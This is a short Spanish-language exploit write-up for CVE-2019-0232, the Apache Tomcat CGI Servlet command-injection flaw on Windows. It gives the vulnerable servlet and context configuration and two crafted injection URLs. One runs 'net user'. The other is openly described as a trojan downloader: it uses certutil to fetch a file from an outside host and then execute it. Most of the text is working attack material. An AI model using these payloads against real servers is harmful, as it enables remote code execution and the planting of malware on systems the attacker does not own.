
Exploit para la inyección de comandos en el Servlet CGI de Apache Tomcat (CVE-2019-0232) que permite la ejecución remota de código mediante solicitudes HTTP manipuladas en las versiones afectadas.
El entorno de prueba es Win10 Home 1809, la versión de JRE es 18.3 (build 10.0.2+13), y la versión de Tomcat es 9.0.13.
★Apache Tomcat 9.0.0.M1 to 9.0.17
★Apache Tomcat 8.5.0 to 8.5.39
★Apache Tomcat 7.0.0 to 7.0.93
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
Configurar los mapeos de Servlet:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
Añade el atributo privileged="true"
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
Finalmente, crea un archivo vacío hello.bat en la carpeta webapps/ROOT/WEB-INF; no es necesario escribir nada en su interior.
Inicia Tomcat, abre el navegador y accede al siguiente enlace:
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

Construye un enlace de inyección que actúe como descargador de imágenes (troyano): http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
